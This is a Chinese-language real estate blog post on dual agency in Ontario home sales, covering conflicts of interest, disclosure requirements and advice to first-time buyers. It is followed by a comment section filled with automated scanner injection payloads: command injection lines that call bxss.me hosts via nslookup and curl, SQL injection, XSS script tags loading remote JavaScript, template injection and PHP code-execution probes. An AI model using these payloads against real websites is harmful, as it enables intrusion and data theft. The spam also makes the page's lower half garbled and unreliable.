房地产敏感话题逐个谈(3) Dual Agency


AlvinNing

Alvin Ning: 专业地产经纪( Broker), 2002年从业以来一直为行业优秀地产经纪。有丰富的房地产交易实践经验和知识积累。大型工程项目(香港新机场等)施工管理工作背景。在安省参与,组织累计数万平方呎的房屋翻建,翻新工程,有相当的房屋翻建,翻新施工管理经验。电话:416-930-3135  微信:Alvin_Ning  Email:alvin@topremax.ca


Dual Agency 就是一个经纪在同一个房屋买卖交易中,同时代表买卖双方,既代表买家,为买家争取利益;又代表卖家,为卖家争取利益。这听取来好像是够矛盾的,一个人如果同时代表买卖双方,通常会有利益冲突,总有一方的利益得不到有效的保护。事实上因Dual Agency 引发的争执屡有发生。

但是Dual Agency 有其存在的社会土壤, 也不为法律所禁止。通常的情形是买家找到卖房经纪,提出要购买其所代理的房屋,卖房经纪因此成为双方的代理,由此产生Dual Agency 的代理关系。

为了保护买卖双方的利益,保护买卖双方不会因Dual Agency 而受到伤害,地产界对Dual Agency 的操作过程有着严格的规定。具体的规定就是在买卖交易开始时,买方和卖方都要明确地被告知这场交易是Dual Agency, 地产经纪要分别和买方和卖方签订书面的Dual Agency 代理协议;在交易过程中,除非明确授权,经纪不得将任何一方的信息通报给另一方。

这要求是黑纸白字写得清清楚楚,但具体执行起来就不那么简单了。一个经纪居中,既要撮合成交易,又要分别保护买卖双方的利益,谈何容易。因此,有些经验丰富的经纪总是避免出现Dual Agency的情形。

那为什么有买家喜欢去找上门,让卖房经纪也做买家的代理人呢?

大多数的情况是买家认为少一个经纪就会省一份佣金,房价也会因此而便宜一些。其实这只是想当然。俗话说”买的不如卖的精”,卖主对市道的了解通常会更透彻些。卖主卖房希望的成交价, 通常会接近市场价格。但到底是高于市场价格还是低于市场价格,第一次买房的买家通常是把握不准的。如果买主认可了卖主的价格,就算减去2,3千元的佣金,到底买的是贵是便宜也都难说,难保买主得到2,3 千元的便宜,还是买得贵了。

因此说来,对第一次买房的买家,最好是在自己的买房经纪的带领下,与卖方打交道。这样更有利于保障自身的利益。

当然,如果自己对房地产市场有足够的了解,在自己没有买方经纪的情况下,直接找到卖方经纪,通过Dual Agent 买房,也没有什么不对。这就像是”明知山有虎,偏向虎山行”,自己得有足够的胆识和实力才好。

(专为多伦多房东群 房东网供稿,转载请注明作者和出处)


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    &echo bohkcl$()\ zdhtoa\nz^xyu||a #' &echo bohkcl$()\ zdhtoa\nz^xyu||a #|" &echo bohkcl$()\ zdhtoa\nz^xyu||a #

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    '+response.write(9446841*9203566)+'

  • Gravatar Image

    |echo dinnvr$()\ druuhn\nz^xyu||a #' |echo dinnvr$()\ druuhn\nz^xyu||a #|" |echo dinnvr$()\ druuhn\nz^xyu||a #

  • Gravatar Image

    ${9999297+10000151}

  • Gravatar Image

    (nslookup -q=cname hitorkxiadddo65296.bxss.me||curl hitorkxiadddo65296.bxss.me))

  • Gravatar Image

    "+response.write(9446841*9203566)+"

  • Gravatar Image

    '"()

  • Gravatar Image

    '.gethostbyname(lc('hitds'.'jbzygkbzb47b0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(70).chr(104).chr(83).'

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    '&&sleep(27*1000)*jxhrjh&&'

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    ".gethostbyname(lc("hitjw"."awltqowi9bb0c.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(112).chr(68)."

  • Gravatar Image


    "&&sleep(27*1000)*zpyrba&&"

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    ctime sleep p0 (I30 tp1 Rp2 .

  • Gravatar Image

    HttP://bxss.me/t/xss.html?%00

  • Gravatar Image

    bxss.me/t/xss.html?%00

  • Gravatar Image


    '||sleep(27*1000)*wxbodb||'

  • Gravatar Image


    "||sleep(27*1000)*hxiufr||"

  • Gravatar Image

    "+"A".concat(70-3).concat(22*4).concat(108).concat(69).concat(101).concat(81)+(require"socket" Socket.gethostbyname("hitjh"+"gucdvrvj56cbf.bxss.me.")[3].to_s)+"

  • Gravatar Image

    '+'A'.concat(70-3).concat(22*4).concat(115).concat(80).concat(116).concat(70)+(require'socket' Socket.gethostbyname('hitwc'+'byykqsenc0500.bxss.me.')[3].to_s)+'

  • Gravatar Image

    $(nslookup -q=cname hittchclatspxa6a3a.bxss.me||curl hittchclatspxa6a3a.bxss.me)

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    &nslookup -q=cname hitlrdrswmmhr6e0a8.bxss.me&'\"`0&nslookup -q=cname hitlrdrswmmhr6e0a8.bxss.me&`'

  • Gravatar Image

    &(nslookup -q=cname hitzxxvsomhjgc0054.bxss.me||curl hitzxxvsomhjgc0054.bxss.me)&'\"`0&(nslookup -q=cname hitzxxvsomhjgc0054.bxss.me||curl hitzxxvsomhjgc0054.bxss.me)&`'

  • Gravatar Image

    |(nslookup -q=cname hitozsjiooxry9dd40.bxss.me||curl hitozsjiooxry9dd40.bxss.me)

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    `(nslookup -q=cname hityhbweaygaj4ac15.bxss.me||curl hityhbweaygaj4ac15.bxss.me)`

  • Gravatar Image

    '"

  • Gravatar Image

    ;(nslookup -q=cname hitbjcgzvkiuvf9650.bxss.me||curl hitbjcgzvkiuvf9650.bxss.me)|(nslookup -q=cname hitbjcgzvkiuvf9650.bxss.me||curl hitbjcgzvkiuvf9650.bxss.me)&(nslookup -q=cname hitbjcgzvkiuvf9650.bxss.me||curl hitbjcgzvkiuvf9650.bxss.me)

  • Gravatar Image

    <!--

  • Gravatar Image

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  • Gravatar Image

    ';print(md5(31337));$a='

  • Gravatar Image

    ";print(md5(31337));$a="

  • Gravatar Image

    ${@print(md5(31337))}

  • Gravatar Image

    ${@print(md5(31337))}\

  • Gravatar Image

    Create

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    xfs.bxss.me

  • Gravatar Image

    '.print(md5(31337)).'

  • Gravatar Image

    Create

  • Gravatar Image

    Create/.

  • Gravatar Image


    '"()&%<zzz><ScRiPt >gp2y(9514)</ScRiPt>

  • Gravatar Image

    '"()&%<zzz><ScRiPt >gp2y(9643)</ScRiPt>

  • Gravatar Image


    9741291

  • Gravatar Image

    bfg2287<s1﹥s2ʺs3ʹhjl2287

  • Gravatar Image

    bfgx3941��z1��z2a�bcxhjl3941

  • Gravatar Image

    <%={{={@{#{${dfb}}%>

  • Gravatar Image

    <th:t="${dfb}#foreach

  • Gravatar Image

    1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  • Gravatar Image

    dfb{{98991*97996}}xca

  • Gravatar Image

    dfb{{98991*97996}}xca

  • Gravatar Image

    dfb[[${98991*97996}]]xca

  • Gravatar Image

    dfb__${98991*97996}__::.x

  • Gravatar Image

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  • Gravatar Image


    <ScRiPt >gp2y(9644)</ScRiPt>

  • Gravatar Image


    <WHVTIN>XYU9J[!+!]</WHVTIN>

  • Gravatar Image


    <script>gp2y(9558)</script>

  • Gravatar Image


    <ScR<ScRiPt>IpT>gp2y(9178)</sCr<ScRiPt>IpT>

  • Gravatar Image


    <ScRiPt
    >gp2y(9256)</ScRiPt>

  • Gravatar Image


    <ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9798></ScRiPt>

  • Gravatar Image


    <ScRiPt
    >gp2y(9707)</ScRiPt>

  • Gravatar Image

    dfb__${98991*97996}__::.x

  • Gravatar Image

    rAMYVp79

  • Gravatar Image

    -1 OR 2+473-473-1=0+0+0+1 --

  • Gravatar Image

    -1 OR 2+955-955-1=0+0+0+1

  • Gravatar Image

    -1' OR 2+653-653-1=0+0+0+1 --

  • Gravatar Image

    -1' OR 2+642-642-1=0+0+0+1 or 'LpPJm8eL'='

  • Gravatar Image

    -1" OR 2+518-518-1=0+0+0+1 --

  • Gravatar Image

    1'"

  • Gravatar Image

    1'"

  • Gravatar Image

    1����%2527%2522

  • Gravatar Image

    @@JpXhl

  • Gravatar Image

    @@JpXhl

  • Gravatar Image

    <th:t="${dfb}#foreach

  • Gravatar Image

    @@JpXhl

  • Gravatar Image

    -1' OR 2+653-653-1=0+0+0+1 --

  • Gravatar Image

    -1' OR 2+653-653-1=0+0+0+1 --

  • Gravatar Image

    -1 OR 2+955-955-1=0+0+0+1

  • Gravatar Image

    -1 OR 2+473-473-1=0+0+0+1 --

  • Gravatar Image

    rAMYVp79

  • Gravatar Image

    $(nslookup -q=cname hittchclatspxa6a3a.bxss.me||curl hittchclatspxa6a3a.bxss.me)

  • Gravatar Image

    <th:t="${dfb}#foreach

  • Gravatar Image

    xfs.bxss.me

  • Gravatar Image

    '.print(md5(31337)).'

  • Gravatar Image

    ${9999297+10000151}

  • Gravatar Image

    '+response.write(9446841*9203566)+'

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